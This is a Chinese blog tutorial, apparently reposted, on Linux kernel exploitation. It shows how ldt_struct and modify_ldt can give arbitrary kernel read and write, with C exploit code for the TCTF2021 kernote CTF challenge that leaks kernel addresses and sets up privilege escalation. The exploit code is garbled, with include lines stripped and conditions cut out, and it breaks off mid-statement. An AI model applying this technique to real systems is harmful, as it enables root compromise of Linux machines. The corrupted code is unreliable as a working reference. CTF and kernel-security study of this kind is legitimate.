利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

ldt_struct与modify_ldt系统调用的介绍

ldt_struct

ldt局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt有关的结构体是ldt_struct

struct ldt_struct {
    /*
     * Xen requires page-aligned LDTs with special permissions.  This is
     * needed to prevent us from installing evil descriptors such as
     * call gates.  On native, we could merge the ldt_struct and LDT
     * allocations, but it's not worth trying to optimize.
     */
    struct desc_struct    *entries;
    unsigned int        nr_entries;

    /*
     * If PTI is in use, then the entries array is not mapped while we're
     * in user mode.  The whole array will be aliased at the addressed
     * given by ldt_slot_va(slot).  We use two slots so that we can allocate
     * and map, and enable a new LDT without invalidating the mapping
     * of an older, still-in-use LDT.
     *
     * slot will be -1 if this LDT doesn't have an alias mapping.
     */
    int            slot;
};

这个结构体的大小仅有0x10,前8字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8字节的entries指针指向desc_struct结构体,即段描述符,定义如下:

/* 8 byte segment descriptor */
struct desc_struct {
    u16    limit0;
    u16    base0;
    u16    base1: 8, type: 4, s: 1, dpl: 2, p: 1;
    u16    limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt系统调用

modify_ldt这个系统调用,是提供给我们用来获取或修改当前进程的LDT用的。我们看调用modify_ldt的几个用法,源码如下:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
        unsigned long , bytecount)
{
    int ret = -ENOSYS;

    switch (func) {
    case 0:
        ret = read_ldt(ptr, bytecount);
        break;
    case 1:
        ret = write_ldt(ptr, bytecount, 1);
        break;
    case 2:
        ret = read_default_ldt(ptr, bytecount);
        break;
    case 0x11:
        ret = write_ldt(ptr, bytecount, 0);
        break;
    }
    /*
     * The SYSCALL_DEFINE() macros give us an 'unsigned long'
     * return type, but tht ABI for sys_modify_ldt() expects
     * 'int'.  This cast gives us an int-sized value in %rax
     * for the return code.  The 'unsigned' is necessary so
     * the compiler does not try to sign-extend the negative
     * return codes into the high half of the register when
     * taking the value from int->long.
     */
    return (unsigned int)ret;
}

我们除了系统调用号外传入的三个参数是func,ptr,bytecount,其中ptr指针指向的是user_desc结构体。这个结构体如下:

struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
};

任意地址读

利用的函数是ldt_read,其关键源码如下:

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
    if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
        retval = -EFAULT;
        goto out_unlock;
    }
//...
out_unlock:
    up_read(&mm->context.ldt_usr_sem);
    return retval;
}

这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries,那么我们就可以实现任意地址读。

如何控制entries?我们看write_ldt的源码可以看到调用alloc_ldt_struct为新的ldt_struct开辟了空间。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
    //...

    old_ldt       = mm->context.ldt;
    old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
    new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

    error = -ENOMEM;
    new_ldt = alloc_ldt_struct(new_nr_entries);
    if (!new_ldt)
        goto out_unlock;
    //...
    return error;
}

再看alloc_ldt_struct的源码,调用了kamlloc去分配新空间。

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
    struct ldt_struct *new_ldt;
    unsigned int alloc_size;

    if (num_entries > LDT_ENTRIES)
        return NULL;

    new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

我们就可以想到通过UAF去控制ldt_struct,修改entries即可读取想要的数据。

任意地址写

利用的函数是write_ldt,其关键源码如下:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
    //...

    old_ldt       = mm->context.ldt;
    old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
    new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

    error = -ENOMEM;
    new_ldt = alloc_ldt_struct(new_nr_entries);
    if (!new_ldt)
        goto out_unlock;

    if (old_ldt)
        memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

    new_ldt->entries[ldt_info.entry_number] = ldt;

    //...
}

我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我们再看一下LDT_ENTRY_SIZE的定义

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES    8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE    8

可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries,从而实现任意地址写。

例题:TCTF2021-FINAL-kernote

exp

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode;

void ErrExit(char* err_msg)
{
    puts(err_msg);
    exit(-1);
}

void set(int index)
{
    ioctl(fd, 0x6666, index);
}

void add(int index)
{
    ioctl(fd, 0x6667, index);
}

void delete(int index)
{
    ioctl(fd, 0x6668, index);
}

void edit(size_t data)
{
    ioctl(fd, 0x6669, data);
}

int main()
{
    struct user_desc desc;
    int pipe_fd[2] = {0};
    size_t temp;
    size_t *buf;
    size_t search_addr;

    printf("33[34m33[1m[*] Start exploit33[0mn");

    fd = open("/dev/kernote", O_RDWR);
    if(fd= 0)
            break;
        page_offset_base+= 0x4000000;
    }
    printf("33[32m33[1m[+] Find page_offset_base=> 33[0m0x%lxn", page_offset_base);

    pipe(pipe_fd);
    buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    search_addr = page_offset_base;
    while(1)
    {
        edit(search_addr);
        ret = fork();
        if(!ret)
        {
            syscall(SYS_modify_ldt, 0, buf, 0x8000);
            for(int i=0; i0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
                {
                    kernel_base = buf[i] - 0x40;
                    kernel_offset = kernel_base - 0xffffffff81000000;
                }

            write(pipe_fd[1], &kernel_base, 8);
            exit(0);
        }

        wait(NULL);
        read(pipe_fd[0], &kernel_base, 8);
        if(kernel_base)
            break;
        search_addr+= 0x8000;
    }

    kernel_offset = kernel_base - 0xffffffff81000000;
    printf("33[32m33[1m[+] Find kernel base=> 33[0m0x%lxn", kernel_base);
    printf("33[32m33[1m[+] Kernel offset=> 33[0m0x%lxn", kernel_offset);

    add(1);
    set(1);
    delete(1);

    seq_fd = open("/proc/self/stat", O_RDONLY);
    if(seq_fd

文章来源于互联网:利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

THE END
分享
二维码